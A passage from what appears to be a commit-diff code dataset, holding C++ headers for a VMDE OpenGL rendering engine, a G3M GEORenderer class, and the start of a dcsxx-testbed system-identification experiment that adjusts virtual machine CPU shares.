frame_count;\n\t\tlong millisecond;\n\t\tint width, height;\n\t\tint fps;\n\t\tdouble frame_time;\n\t\tbool done;\n\n\t\tint gl_ver;\n\t};\n\n\t\/\/ VMDE操控的全局变量\n\textern struct VMDE* VMDE;\n\textern GLFWwindow* window;\n\t\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● State Control\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ 在OpenGL状态机外层再加一个状态管理机制,减少不必要的状态切换和不必要的draw call\n\t\/\/ 这样的一个状态机设计也可以更好地隔离API,为以后Vulkan做准备\n\tclass VMStateControl {\n\t\tstatic struct StateMachineStruct {\n\t\t\tGLuint VERTEX_ARRAY;\n\t\t\tGLuint ELEMENT_ARRAY_BUFFER;\n\t\t\tGLuint ARRAY_BUFFER;\n\t\t\tGLuint TEXTURE_2D;\n\t\t\tGLuint UNIFORM_BUFFER;\n\t\t\tGLuint Shader_Program;\n\t\t\tbool TextureActivated[32]; \/\/ 32 for GL 3.X+, should be enough\n\t\t\t\n\t\t\tbool DEPTH_TEST;\n\t\t\tbool CULL_FACE;\n\t\t\tbool BLEND;\n\t\t\tGLuint PolygonMode;\n\t\t} StateMachine;\n\t\n\tpublic:\n\t\tstatic void ChangeVertexArray (GLuint index);\n\t\tstatic void ChangeElementArrayBuffer (GLuint index);\n\t\tstatic void ChangeArrayBuffer (GLuint index);\n\t\tstatic void ChangeTexture2D (GLuint index);\n\t\tstatic void ChangeUniformBuffer (GLuint index);\n\t\tstatic void ChangeShaderProgram (GLuint index);\n\t\t\n\t\tstatic void enable_cullface();\n\t\tstatic void disable_cullface();\n\t\tstatic void enable_depth_test();\n\t\tstatic void disable_depth_test();\n\t\tstatic void enable_blend();\n\t\tstatic void disable_blend();\n\t\tstatic void render_mode_wireframe();\n\t\tstatic void render_mode_fill();\n\t\t\n\t\tstatic void init_graphics_state ();\n\t};\n\t#define VMSC VMStateControl \/\/ 少写几个字\n\t\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● GDrawable\n\t\/\/-------------------------------------------------------------------------\n\tstruct Vertex {\n\t\tglm::vec3 world_position;\n\t\tglm::vec4 color;\n\t\tglm::vec2 st;\n\t\tglm::vec3 normal;\n\t};\n\n\tclass GDrawable : public RenderObject {\n\tpublic:\n\t\tstruct Data {\n\t\t\tVertex* vertices;\n\t\t\tint vtx_c;\n\t\t\tGLuint* indices;\n\t\t\tint ind_c;\n\t\t\tGLuint* mat;\n\t\t\tint mat_c;\n\t\t\tGLuint MBO;\n\t\t\tGLuint VAO;\n\t\t\tGLuint VBO;\n\t\t\tGLuint EBO;\n\t\t\tglm::mat4 model;\n\t\t} data;\n\n\t\tvoid renderOnce();\n\t\tvoid render();\n\t\tvoid fbind();\n\t\tvoid update();\n\t\tvoid update_instance();\n\t\tvoid update_instance_alien_size();\n\n\t\tstatic inline void close_draw_node() { VMStateControl::ChangeVertexArray(0); }\n\n\t\t~GDrawable();\n\n\t\tGDrawable();\n\t};\n\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● Text\n\t\/\/-------------------------------------------------------------------------\n\tclass TextRenderer : public RenderObject {\n\tprivate:\n\t\tGDrawable obj;\n\t\tRes::Texture tex = Res::Texture(\"..\/Media\/Font.bmp\", &Res::LinearTextureParameters);\n\t\tShaders texshader;\n\n\tpublic:\n\t\tenum TextDecorationType {\n\t\t\tNONE,\n\t\t\tSHADOW,\n\t\t\tOUTLINE,\n\t\t};\n\t\tTextRenderer();\n\t\tvoid BakeText(\n\t\t\tconst char* text,\n\t\t\tfloat width, float height,\n\t\t\tTextDecorationType decoration\n\t\t);\n\t\tvoid render();\n\t\tvoid instanceRenderText(\n\t\t\tconst char* text,\n\t\t\tglm::mat4 projection, glm::mat4 view, glm::mat4 transform,\n\t\t\tfloat width, float height, TextDecorationType decoration\n\t\t);\n\t};\n\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● RenderBuffer\n\t\/\/-------------------------------------------------------------------------\n\tclass RenderBuffer : public Object {\n\tpublic:\n\t\tGLuint framebuffer;\n\t\tGLuint rbo;\n\t\tRes::Texture** texture_buffer;\n\t\tint mrtcount;\n\n\t\t\/\/void resize(int w, int h);\n\n\t\tvoid bind();\n\t\tstatic void unbind();\n\t\tstatic void clearColor(float r, float g, float b, float a);\n\t\tstatic void clearColorDepth(float r, float g, float b, float a);\n\t\tstatic void clearDepth();\n\n\t\tRenderBuffer(int w, int h, int mrt, const GLuint* type);\n\t\tvoid set_draw_buffers();\n\t\t~RenderBuffer();\n\t};\n\n\tclass PostProcessingManager : public Object {\n\tprivate:\n\t\tstatic GDrawable* QuadScreen;\n\n\tpublic:\n\t\tstatic void init();\n\t\tstatic void Blit2D();\n\t};\n\n\n#endif\n<commit_msg>Fix macro errorp<commit_after>\/\/=============================================================================\n\/\/ ■ VMDE\/global.hpp\n\/\/-----------------------------------------------------------------------------\n\/\/ 在VMDE的内部,包容一切的头。\n\/\/ 关于只有一个头:\n\/\/ 我完全无法理解为什么C要采用有头文件的设计。当然这很可能是历史遗留问题,\n\/\/ 但这导致了C程序员总是需要花费大量时间整理头文件,且这时间花得莫名其妙。\n\/\/ 而这在其他任何语系中都不是问题:即使是采用C语法的衍生语言,也不会保留\n\/\/ 这个“特性”。因此我们需要解决它。\n\/\/ 采用#include管理多文件编译是最好的解决方案。在现今编译单个文件的速度有极\n\/\/ 大提升的时代,一个个编译小文件却慢得多。然而这个解决方案并不能在像VMDE这\n\/\/ 样的合作项目中进行,因为它会让很多已建立的条件反射、编译器、IDE日狗。\n\/\/ 单一头文件也是一个可行的方案。它保留了头文件,但只有一个——这意味着所有\n\/\/ 你需要编辑的头都在固定的位置,给身体和手带来了放松的空间,同时也保证编辑\n\/\/ 器的标签栏(如果有的话)不会因为头文件而缩小为原来的一半。\n\/\/ 当然,还有一个解决办法就是只用一个.c文件。结果:从此这个项目就没落了。\n\/\/ 综上所述,我选择狗带,砍了其他所有头。\n\/\/=============================================================================\n\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n#include <math.h>\n#include <ctime>\n#include <thread>\n#include <cstdarg>\n#include <cassert>\n\n#include <GL\/glew.h>\n#include <GLFW\/glfw3.h>\n#include <SOIL.h>\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <portaudio.h>\n#include <vorbis\/vorbisfile.h>\n\n#ifndef _INCLUDE_GLOBAL_H\n\t#define _INCLUDE_GLOBAL_H\n\tusing namespace std;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● PY Deal For MICR0$○F┬ Windoges (ᴚ)\n\t\/\/Becuase it;s Windoges,I jsut dno't want to use CORERCT ENGRISh &忠闻吔屎炉此\n\t\/\/-------------------------------------------------------------------------\n\t#ifdef __MINGW32__\n\t\t#define EXPORTED extern \"C\" __declspec(dllexport)\n\t#else\n\t\t#define EXPORTED extern \"C\"\n\t#endif\n\t#ifdef __CYGWIN__\n\t\t#warning This will not work in Cygwin. Try at your own risk.\n\t#endif\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● 定义宏魔法\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ NDEBUG - 给assert用的,虽然好像这项目里没人用assert\n\t\/\/ 这个DEBUG在make的时候加(make debug)。\n\t#ifdef DEBUG\n\t\t#define NDEBUG\n\t#else\n\t\t#undef NDEBUG\n\t#endif\n\t\/\/ ARRAY_SIZE - 获取定义的数组大小\n\t\/\/ int a[56]; → ARRAY_SIZE(a) == 56\n\t#define ARRAY_SIZE(a) (sizeof(a) \/ sizeof(*(a)))\n\t\/\/ MLVN - Macro-Local Variable Name\n\t\/\/ 这是为了不让明文变量名被莫名其妙使用而设计的。\n\t\/\/ #define TEST do { int MLVN() = 0, MLVN(another) = 0; } while(0)\n\t#define MLVN(name) My_Lovely_##name##___\n\t\/\/ NTIMES - 执行多次\n\t\/\/ NTIMES(3) puts(\"Three or more, use a for\");\n\t#define NTIMES(n) \\\n\t\tfor (unsigned short MLVN(index) = 0; MLVN(index) < (n); MLVN(index)++)\n\t\/\/ TWICE - 执行两次\n\t\/\/ TWICE a++;\n\t\/\/ TWICE { a++; b++; }\n\t#define TWICE NTIMES(2)\n\t\/\/ XE - 释放内存黑魔法\n\t\/\/ “X掉Exceptions”!\n\t\/\/ void* m;\n\t\/\/ m = malloc(1); xe(free, m);\n\t\/\/ m = (void*) 0; xe(free, m);\n\t\/\/ m = new float; xe(delete, m);\n\t\/\/ m = new tm[4]; xe(delete[], m);\n\t#define XE(method, pointer) do { \\\n\t\tif (pointer) { \\\n\t\t\tmethod(pointer); \\\n\t\t\t(pointer) = NULL; \\\n\t\t} \\\n\t} while (false)\n\t\/\/ VMDE_Dispose - 一键销毁宏魔法\n\t#define VMDE_Dispose(method, object) do { \\\n\t\tif (object) { \\\n\t\t\tmethod(object); \\\n\t\t\t(object) = NULL; \\\n\t\t} \\\n\t} while (false)\n\t\/\/ DEBUG_ENVIRONMENT - 调试环境\n\t\/\/ 这个字符串会显示在log函数输出的开头。\n\t#define DEBUG_ENVIRONMENT \"VMDE\"\n\t\/\/ log - Util::log_internal的方便缩写,可以直接得到当前函数名\n\t\/\/ log(\"%p\", log);\n\t#define log(...) Util::log_internal(DEBUG_ENVIRONMENT, __func__, __VA_ARGS__)\n\t\/\/ mark - 逐行打log的偷懒大法\n\t#define mark log(\"Mark on line %d of %s\", __LINE__, __FILE__)\n\t\/\/ error_internal\n\t#define error_internal(extra, ...) do { \\\n\t\tlog(__VA_ARGS__); \\\n\t\textra \\\n\t\texit(1); \\\n\t} while (false)\n\t\/\/ error - 抛出错误并终止程序\n\t#define error(...) error_internal(, __VA_ARGS__)\n\t\/\/ errorp - error + perror\n\t#define errorp(...) error_internal(perror(\"perror()\");, __VA_ARGS__)\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● util.cpp\n\t\/\/ 这个Util的意义已经远超utility。\n\t\/\/-------------------------------------------------------------------------\n\tnamespace Util {\n\t\textern FILE* log_file;\n\t\tvoid init();\n\t\tvoid terminate();\n\t\tvoid log_internal(const char*, const char*, const char*, ...)\n\t\t\t__attribute__((format(printf, 3, 4)));\n\t\tchar* read_file(const char* filename);\n\t}\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● 子文件夹中的头文件\n\t\/\/-------------------------------------------------------------------------\n\t#include \"VLib\/V.hpp\"\n\t#include \"Audio\/audio.hpp\"\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● init.cpp\n\t\/\/-------------------------------------------------------------------------\n\tEXPORTED void init_engine(int w, int h, const char* title);\n\tvoid setup_viewport();\n\tvoid init_vmde(int w, int h);\n\tvoid check_gl_error();\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● terminate.cpp\n\t\/\/-------------------------------------------------------------------------\n\tEXPORTED void terminate_engine();\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● main.cpp\n\t\/\/-------------------------------------------------------------------------\n\tvoid glfw_error_callback(int error, const char* description);\n\tvoid main_draw_start();\n\tvoid main_draw_end();\n\tvoid main_set_brightness(float b);\n\textern glm::mat4 projection, view;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● RenderObject.cpp\n\t\/\/-------------------------------------------------------------------------\n\tclass Object {\n\tpublic:\n\t\tvirtual ~Object();\n\t};\n\n\tclass RenderObject : public Object {\n\tpublic:\n\t\tvirtual void render() = 0;\n\t};\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● resources.cpp\n\t\/\/-------------------------------------------------------------------------\n\tnamespace Res {\n\t\tstruct TextureParameters {\n\t\t\tGLuint WRAP_MODE_S, WRAP_MODE_T;\n\t\t\tGLuint MIN_FILTER, MAG_FILTER;\n\t\t\tGLuint MIPMAP_LEVEL;\n\t\t\tGLuint PixelFormat, PixelType;\n\t\t};\n\t\t\n\t\textern struct TextureParameters DefaultTextureParameters;\n\t\textern struct TextureParameters LinearTextureParameters;\n\t\n\t\tclass Texture : public Object {\n\t\tpublic:\n\t\t\tGLuint texture, index;\n\t\t\tint width, height;\n\t\t\tstruct TextureParameters* parameter;\n\t\t\t\n\t\t\tTexture();\n\t\t\tTexture(const char* file);\n\t\t\tTexture(const char* file, struct TextureParameters* p);\n\n\t\t\t~Texture();\n\t\t};\n\t}\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● shaders.cpp\n\t\/\/-------------------------------------------------------------------------\n\tclass Shaders : public Object {\n\tpublic:\n\t\t#define SHADERS_SLOT_COUNT 16\n\t\tGLuint shaders[SHADERS_SLOT_COUNT];\n\t\tsize_t shader_count = 0;\n\t\tGLuint program;\n\n\t\tGLuint UBO_matrix;\n\t\tglm::mat4 mat[3];\n\n\tpublic:\n\t\tShaders();\n\t\tvoid add_string(GLenum type, const GLchar* source);\n\t\tvoid add_file(GLenum type, const char* filename);\n\t\tvoid link_program();\n\t\tvoid use();\n\n\t\tvoid set_float(const char* identifier, GLfloat value);\n\t\tvoid set_int(const char* identifier, GLint value);\n\t\tvoid set_texture(const char* identifier, Res::Texture* tex, GLuint index);\n\n\t\tvoid ProjectionView(glm::mat4 projection, glm::mat4 view);\n\n\t\t~Shaders();\n\n\tprivate:\n\t\tstatic void check_shader_compilation(\n\t\t\tGLuint shader,\n\t\t\tconst char* msg = \"shader compile error\"\n\t\t);\n\t\tstatic void check_linkage(\n\t\t\tGLuint program,\n\t\t\tconst char* msg = \"link error\"\n\t\t);\n\t};\n\textern Shaders* _shaders_in_use;\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● VMDE\n\t\/\/-------------------------------------------------------------------------\n\tstruct VMDEState {\n\t\tbool frozen;\n\t\tfloat brightness;\n\t};\n\n\tenum GL_VER {\n\t\tGL_33,\n\t\tGL_43,\n\t\tVULKAN \/\/ Not used\n\t};\n\n\tstruct VMDE {\n\t\tVMDEState state;\n\t\tlong frame_count;\n\t\tlong millisecond;\n\t\tint width, height;\n\t\tint fps;\n\t\tdouble frame_time;\n\t\tbool done;\n\n\t\tint gl_ver;\n\t};\n\n\t\/\/ VMDE操控的全局变量\n\textern struct VMDE* VMDE;\n\textern GLFWwindow* window;\n\t\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● State Control\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ 在OpenGL状态机外层再加一个状态管理机制,减少不必要的状态切换和不必要的draw call\n\t\/\/ 这样的一个状态机设计也可以更好地隔离API,为以后Vulkan做准备\n\tclass VMStateControl {\n\t\tstatic struct StateMachineStruct {\n\t\t\tGLuint VERTEX_ARRAY;\n\t\t\tGLuint ELEMENT_ARRAY_BUFFER;\n\t\t\tGLuint ARRAY_BUFFER;\n\t\t\tGLuint TEXTURE_2D;\n\t\t\tGLuint UNIFORM_BUFFER;\n\t\t\tGLuint Shader_Program;\n\t\t\tbool TextureActivated[32]; \/\/ 32 for GL 3.X+, should be enough\n\t\t\t\n\t\t\tbool DEPTH_TEST;\n\t\t\tbool CULL_FACE;\n\t\t\tbool BLEND;\n\t\t\tGLuint PolygonMode;\n\t\t} StateMachine;\n\t\n\tpublic:\n\t\tstatic void ChangeVertexArray (GLuint index);\n\t\tstatic void ChangeElementArrayBuffer (GLuint index);\n\t\tstatic void ChangeArrayBuffer (GLuint index);\n\t\tstatic void ChangeTexture2D (GLuint index);\n\t\tstatic void ChangeUniformBuffer (GLuint index);\n\t\tstatic void ChangeShaderProgram (GLuint index);\n\t\t\n\t\tstatic void enable_cullface();\n\t\tstatic void disable_cullface();\n\t\tstatic void enable_depth_test();\n\t\tstatic void disable_depth_test();\n\t\tstatic void enable_blend();\n\t\tstatic void disable_blend();\n\t\tstatic void render_mode_wireframe();\n\t\tstatic void render_mode_fill();\n\t\t\n\t\tstatic void init_graphics_state ();\n\t};\n\t#define VMSC VMStateControl \/\/ 少写几个字\n\t\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● GDrawable\n\t\/\/-------------------------------------------------------------------------\n\tstruct Vertex {\n\t\tglm::vec3 world_position;\n\t\tglm::vec4 color;\n\t\tglm::vec2 st;\n\t\tglm::vec3 normal;\n\t};\n\n\tclass GDrawable : public RenderObject {\n\tpublic:\n\t\tstruct Data {\n\t\t\tVertex* vertices;\n\t\t\tint vtx_c;\n\t\t\tGLuint* indices;\n\t\t\tint ind_c;\n\t\t\tGLuint* mat;\n\t\t\tint mat_c;\n\t\t\tGLuint MBO;\n\t\t\tGLuint VAO;\n\t\t\tGLuint VBO;\n\t\t\tGLuint EBO;\n\t\t\tglm::mat4 model;\n\t\t} data;\n\n\t\tvoid renderOnce();\n\t\tvoid render();\n\t\tvoid fbind();\n\t\tvoid update();\n\t\tvoid update_instance();\n\t\tvoid update_instance_alien_size();\n\n\t\tstatic inline void close_draw_node() { VMStateControl::ChangeVertexArray(0); }\n\n\t\t~GDrawable();\n\n\t\tGDrawable();\n\t};\n\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● Text\n\t\/\/-------------------------------------------------------------------------\n\tclass TextRenderer : public RenderObject {\n\tprivate:\n\t\tGDrawable obj;\n\t\tRes::Texture tex = Res::Texture(\"..\/Media\/Font.bmp\", &Res::LinearTextureParameters);\n\t\tShaders texshader;\n\n\tpublic:\n\t\tenum TextDecorationType {\n\t\t\tNONE,\n\t\t\tSHADOW,\n\t\t\tOUTLINE,\n\t\t};\n\t\tTextRenderer();\n\t\tvoid BakeText(\n\t\t\tconst char* text,\n\t\t\tfloat width, float height,\n\t\t\tTextDecorationType decoration\n\t\t);\n\t\tvoid render();\n\t\tvoid instanceRenderText(\n\t\t\tconst char* text,\n\t\t\tglm::mat4 projection, glm::mat4 view, glm::mat4 transform,\n\t\t\tfloat width, float height, TextDecorationType decoration\n\t\t);\n\t};\n\n\t\/\/-------------------------------------------------------------------------\n\t\/\/ ● RenderBuffer\n\t\/\/-------------------------------------------------------------------------\n\tclass RenderBuffer : public Object {\n\tpublic:\n\t\tGLuint framebuffer;\n\t\tGLuint rbo;\n\t\tRes::Texture** texture_buffer;\n\t\tint mrtcount;\n\n\t\t\/\/void resize(int w, int h);\n\n\t\tvoid bind();\n\t\tstatic void unbind();\n\t\tstatic void clearColor(float r, float g, float b, float a);\n\t\tstatic void clearColorDepth(float r, float g, float b, float a);\n\t\tstatic void clearDepth();\n\n\t\tRenderBuffer(int w, int h, int mrt, const GLuint* type);\n\t\tvoid set_draw_buffers();\n\t\t~RenderBuffer();\n\t};\n\n\tclass PostProcessingManager : public Object {\n\tprivate:\n\t\tstatic GDrawable* QuadScreen;\n\n\tpublic:\n\t\tstatic void init();\n\t\tstatic void Blit2D();\n\t};\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ GEORenderer.hpp\n\/\/ G3MiOSSDK\n\/\/\n\/\/ Created by Diego Gomez Deck on 11\/30\/12.\n\/\/\n\/\/\n\n#ifndef __G3MiOSSDK__GEORenderer__\n#define __G3MiOSSDK__GEORenderer__\n\n#include \"LeafRenderer.hpp\"\n\n#include <vector>\nclass GEOObject;\n\nclass GEORenderer : public LeafRenderer {\nprivate:\n const G3MContext* _context;\n std::vector<GEOObject*> _children;\n\npublic:\n\n void addGEOObject(GEOObject* geoObject);\n \n void onResume(const G3MContext* context) {\n\n }\n\n void onPause(const G3MContext* context) {\n\n }\n\n void onDestroy(const G3MContext* context) {\n\n }\n\n void initialize(const G3MContext* context);\n \n bool isReadyToRender(const G3MRenderContext* rc);\n\n void render(const G3MRenderContext* rc);\n\n bool onTouchEvent(const G3MEventContext* ec,\n const TouchEvent* touchEvent) {\n return false;\n }\n\n void onResizeViewportEvent(const G3MEventContext* ec,\n int width, int height) {\n\n }\n\n void start() {\n\n }\n \n void stop() {\n \n }\n \n};\n\n#endif\n<commit_msg>First version of GEORenderer - not yet usable<commit_after>\/\/\n\/\/ GEORenderer.hpp\n\/\/ G3MiOSSDK\n\/\/\n\/\/ Created by Diego Gomez Deck on 11\/30\/12.\n\/\/\n\/\/\n\n#ifndef __G3MiOSSDK__GEORenderer__\n#define __G3MiOSSDK__GEORenderer__\n\n#include \"LeafRenderer.hpp\"\n\n#include <vector>\nclass GEOObject;\n\nclass GEORenderer : public LeafRenderer {\nprivate:\n#ifdef C_CODE\n const G3MContext* _context;\n#endif\n#ifdef JAVA_CODE\n private G3MContext _context;\n#endif\n std::vector<GEOObject*> _children;\n\npublic:\n\n void addGEOObject(GEOObject* geoObject);\n \n void onResume(const G3MContext* context) {\n\n }\n\n void onPause(const G3MContext* context) {\n\n }\n\n void onDestroy(const G3MContext* context) {\n\n }\n\n void initialize(const G3MContext* context);\n \n bool isReadyToRender(const G3MRenderContext* rc);\n\n void render(const G3MRenderContext* rc);\n\n bool onTouchEvent(const G3MEventContext* ec,\n const TouchEvent* touchEvent) {\n return false;\n }\n\n void onResizeViewportEvent(const G3MEventContext* ec,\n int width, int height) {\n\n }\n\n void start() {\n\n }\n \n void stop() {\n \n }\n \n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file dcs\/testbed\/system_identification.hpp\n *\n * \\brief Performs system identification experiments.\n *\n * \\author Marco Guazzone (marco.guazzone@gmail.com)\n *\n * <hr\/>\n *\n * Copyright (C) 2012 Marco Guazzone\n * [Distributed Computing System (DCS) Group,\n * Computer Science Institute,\n * Department of Science and Technological Innovation,\n * University of Piemonte Orientale,\n * Alessandria (Italy)]\n *\n * This file is part of dcsxx-testbed.\n *\n * dcsxx-testbed is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * dcsxx-testbed is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with dcsxx-testbed. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n#define DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n\n#include <boost\/accumulators\/accumulators.hpp>\n#include <boost\/accumulators\/statistics\/stats.hpp>\n#include <boost\/accumulators\/statistics\/mean.hpp>\n#include <boost\/smart_ptr.hpp>\n#include <cstddef>\n#include <ctime>\n#include <dcs\/assert.hpp>\n#include <dcs\/debug.hpp>\n#include <dcs\/exception.hpp>\n#include <dcs\/testbed\/base_signal_generator.hpp>\n#include <dcs\/testbed\/base_virtual_machine.hpp>\n#include <dcs\/testbed\/base_workload_driver.hpp>\n#include <fstream>\n#include <iterator>\n#include <limits>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <unistd.h>\n#include <vector>\n\n#ifdef DCS_DEBUG\n# include <boost\/numeric\/ublas\/io.hpp>\n#endif \/\/ DCS_DEBUG\n\n\nnamespace dcs { namespace testbed {\n\ntemplate <typename RealT>\nclass system_identification\n{\n\tpublic: typedef RealT real_type;\n\tpublic: typedef base_virtual_machine<real_type> vm_type;\n\tpublic: typedef ::boost::shared_ptr<vm_type> vm_pointer;\n\tpublic: typedef base_signal_generator<real_type> signal_generator_type;\n\tpublic: typedef ::boost::shared_ptr<signal_generator_type> signal_generator_pointer;\n\tpublic: typedef base_workload_driver workload_driver_type;\n\tpublic: typedef ::boost::shared_ptr<workload_driver_type> workload_driver_pointer;\n\tprivate: typedef ::std::vector<vm_pointer> vm_container;\n\n\n\tprivate: static const unsigned int default_sampling_time = 10;\n\tprivate: static const ::std::string default_output_data_file_path;\n\n\n\t\/\/\/ Default constructor.\n\tpublic: system_identification()\n\t: ts_(default_sampling_time),\n\t out_dat_file_(default_output_data_file_path),\n\t out_ext_fmt_(false)\n\t{\n\t}\n\n\t\/\/\/ A constructor.\n\tpublic: template <typename FwdIterT>\n\t\t\tsystem_identification(FwdIterT vm_first, FwdIterT vm_last, workload_driver_pointer const& p_wkl_driver, signal_generator_pointer const& p_sig_gen)\n\t: vms_(vm_first, vm_last),\n\t p_wkl_driver_(p_wkl_driver),\n\t p_sig_gen_(p_sig_gen),\n\t ts_(default_sampling_time),\n\t out_dat_file_(default_output_data_file_path),\n\t out_ext_fmt_(false)\n\t{\n\t}\n\n\t\/\/\/ Set the path of the output data file.\n\tpublic: void output_data_file(::std::string const& s)\n\t{\n\t\t\/\/ pre: s != \"\"\n\t\tDCS_ASSERT(!s.empty(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Cannot use empty string as output data file name\"));\n\n\t\tout_dat_file_ = s;\n\t}\n\n\t\/\/\/ Enabled or disable the extended format of the output data file.\n\tpublic: void output_extended_format(bool val)\n\t{\n\t\tout_ext_fmt_ = val;\n\t}\n\n\t\/\/\/ Set the sampling time.\n\tpublic: void sampling_time(real_type t)\n\t{\n\t\t\/\/ pre: t > 0\n\t\tDCS_ASSERT(t > 0,\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Sampling time must be positive\"));\n\t\t\/\/ pre: t <= max value\n\t\tDCS_ASSERT(t <= ::std::numeric_limits<unsigned int>::max(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Sampling time too large\"));\n\n\t\tts_ = static_cast<unsigned int>(t);\n\t}\n\n\t\/**\n\t * \\brief Perform system identification by using as initial shares the\n\t * 100% of resource.\n\t *\/\n\tpublic: void run()\n\t{\n\t\t::std::vector<real_type> init_shares(vms_.size(), 1);\n\n\t\tthis->run(init_shares.begin(), init_shares.end());\n\t}\n\n\t\/**\n\t * \\brief Perform system identification with the given initial shares.\n\t *\/\n\tpublic: template <typename FwdIterT>\n\t\t\tvoid run(FwdIterT share_first, FwdIterT share_end)\n\t{\n\t\t\/\/ distance(share_first,share_end) == size(vms_)\n\t\tDCS_ASSERT(static_cast< ::std::size_t >(::std::distance(share_first, share_end)) == vms_.size(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Share container size does not match\"));\n\n\t\ttypedef typename vm_container::const_iterator vm_iterator;\n\t\ttypedef typename signal_generator_type::vector_type share_container;\n\n\t\t\/\/const ::std::size_t nt(10);\/\/FIXME: parameterize\n\n\t\t\/\/ Open output data file\n\t\t::std::ofstream ofs(out_dat_file_.c_str());\n\t\tif (!ofs.good())\n\t\t{\n\t\t\t::std::ostringstream oss;\n\t\t\toss << \"Cannot open output data file '\" << out_dat_file_ << \"'\";\n\n\t\t\tDCS_EXCEPTION_THROW(::std::runtime_error, oss.str());\n\t\t}\n\n\t\t\/\/ Set initial shares\n\t\tvm_iterator vm_end_it(vms_.end());\n\t\tvm_iterator vm_beg_it(vms_.begin());\n\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t vm_it != vm_end_it;\n\t\t\t ++vm_it)\n\t\t{\n\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\tp_vm->cpu_share(*share_first);\n\t\t\t++share_first;\n\t\t}\n\n\t\t\/\/ Start the workload driver\n\t\tp_wkl_driver_->start();\n\n\t\t\/\/ Set shares according to the given signal\n\t\t::std::time_t t0;\n\t\t::std::time_t t1;\n\t\tt0 = ::std::time(&t1);\n\t\twhile (!p_wkl_driver_->done())\n\t\t{\n\t\t\tif (p_wkl_driver_->ready() && p_wkl_driver_->has_observation())\n\t\t\t{\n\t\t\t\t\/\/ Stringstream used to hold common output info\n\t\t\t\t::std::ostringstream oss;\n\n\t\t\t\t\/\/ Compute the elapsed time\n\t\t\t\tt0 = t1;\n\t\t\t\t::std::time(&t1);\n\t\t\t\tdouble dt = ::std::difftime(t1, t0);\n\n\t\t\t\tDCS_DEBUG_TRACE( \"-- Time \" << dt );\n\n\t\t\t\toss << dt;\n\n\t\t\t\t\/\/ Generate new shares\n\t\t\t\tshare_container share((*p_sig_gen_)());\n\n\t\t\t\t\/\/ check: consistency\n\t\t\t\tDCS_DEBUG_ASSERT( share.size() == vms_.size() );\n\n\t\t\t\tDCS_DEBUG_TRACE( \" Generated shares: \" << dcs::debug::to_string(share.begin(), share.end()) );\n\n\t\t\t\t\/\/ Set new shares to every VM\n\t\t\t\t::std::size_t ix(0);\n\t\t\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t\t\t vm_it != vm_end_it;\n\t\t\t\t\t ++vm_it)\n\t\t\t\t{\n\t\t\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\t\t\t\/\/ check: not null\n\t\t\t\t\tDCS_DEBUG_ASSERT( p_vm );\n\n\t\t\t\t\tDCS_DEBUG_TRACE( \" VM '\" << p_vm->name() << \"' :: Old CPU share: \" << p_vm->cpu_share() << \" :: New CPU share: \" << share[ix] );\n\n\t\t\t\t\toss << \" \" << p_vm->cpu_share();\n\n\t\t\t\t\tp_vm->cpu_share(share[ix]);\n\n\t\t\t\t\t++ix;\n\t\t\t\t}\n\n\t\t\t\t\/\/ Get collected observations\n\t\t\t\ttypedef ::std::vector<real_type> obs_container;\n\t\t\t\ttypedef typename obs_container::const_iterator obs_iterator;\n\t\t\t\tobs_container obs = p_wkl_driver_->observations();\n\t\t\t\t\/\/FIXME: parameterize the type of statistics the user want\n\t\t\t\t::boost::accumulators::accumulator_set< real_type, ::boost::accumulators::stats< ::boost::accumulators::tag::mean > > acc;\n\t\t\t\tobs_iterator obs_end_it(obs.end());\n\t\t\t\tfor (obs_iterator obs_it = obs.begin();\n\t\t\t\t\t obs_it != obs_end_it;\n\t\t\t\t\t ++obs_it)\n\t\t\t\t{\n\t\t\t\t\treal_type 